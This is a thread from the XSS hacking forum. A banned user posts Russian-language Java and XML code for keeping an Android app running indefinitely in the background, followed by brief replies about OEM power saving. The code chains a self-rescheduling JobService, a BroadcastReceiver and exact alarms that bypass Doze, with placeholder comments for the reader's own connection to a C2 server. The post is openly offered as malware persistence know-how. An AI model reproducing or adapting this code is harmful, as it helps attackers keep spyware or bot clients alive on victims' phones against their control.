• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Android Java - JobService Сделать Фоновую Задачу

XDRevil

(L2) cache
Забанен
Регистрация
15.03.2024
Сообщения
457
Реакции
119
Депозит
0.00
Пожалуйста, обратите внимание, что пользователь заблокирован
Java:
package com.example.living;

import android.app.job.JobParameters;
import android.app.job.JobService;
import android.util.Log;

public class EndlessLivingJob extends JobService {

    @Override
    public boolean onStartJob(JobParameters params) {
        #Именно Ваш Метод Запуска Подключение к С2-Серву (типо; Ваш публик класс.connection(context); )
     
     
        Ваш публик класс.scheduleJob(context);
   

        return true;
    }

    @Override
    public boolean onStopJob(JobParameters params) {
 
        return true;
    }
}



public static void scheduleJob(Context context) {
    JobScheduler jobScheduler = (JobScheduler) context.getSystemService(Context.JOB_SCHEDULER_SERVICE);
 
    ComponentName componentName = new ComponentName(context, EndlessLivingJob.class);
 
    JobInfo jobInfo = new JobInfo.Builder(1, componentName)
            .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
            .setPersisted(true)
            .setMinimumLatency(10000)
            .setOverrideDeadline(20000)
            .setExtras(new PersistableBundle())
            .build();
 
    jobScheduler.schedule(jobInfo);
}

         
         
         
package com.example.living;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class ReceiverAll extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
       #Именно Ваш Метод Запуска Подключение к С2-Серву (типо; Ваш публик класс.connection(context); )
       Ваш публик класс.scheduleJob(context);
       Ваш публик класс.setAlarm(context);
     
    }
}
         
         
public static void setAlarm(Context context) {
    Intent intent = new Intent(context, ReceiverAll.class);
    PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
    AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    if (alarmManager != null) {
        long triggerTime = SystemClock.elapsedRealtime() + 7500;
        alarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerTime, pendingIntent);
    }
}
XML:
<receiver android:name=".ReceiverAll"
            android:enabled="true"
            android:exported="false" />    
         
         
<service
            android:name=".EndlessLivingJob"
            android:permission="android.permission.BIND_JOB_SERVICE" />
Чтоб использовать сам именно нужен Аларм и права Doze Mode (Ну выдачу батарейку)
Чтобы запустить, просто добавьте метод в свой МєйнАктивити:
Ваш публик класс.setAlarm(context);


!Внимание, сам JobService не будет работать выключеном экране, и потому нужен Receiver + сам Аларм
 
Последнее редактирование:
+
I was looking for this a while ago: https://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/124969/

I wonder how it fares against those Chinese OEMs (Xiaomi, Oppo, Vivo whatever) with their own “deep ultra” power saving that kills such repeated attempts.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
“deep ultra” power saving that kills such repeated attempts.
The application itself will not work this way

The one with background mode
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх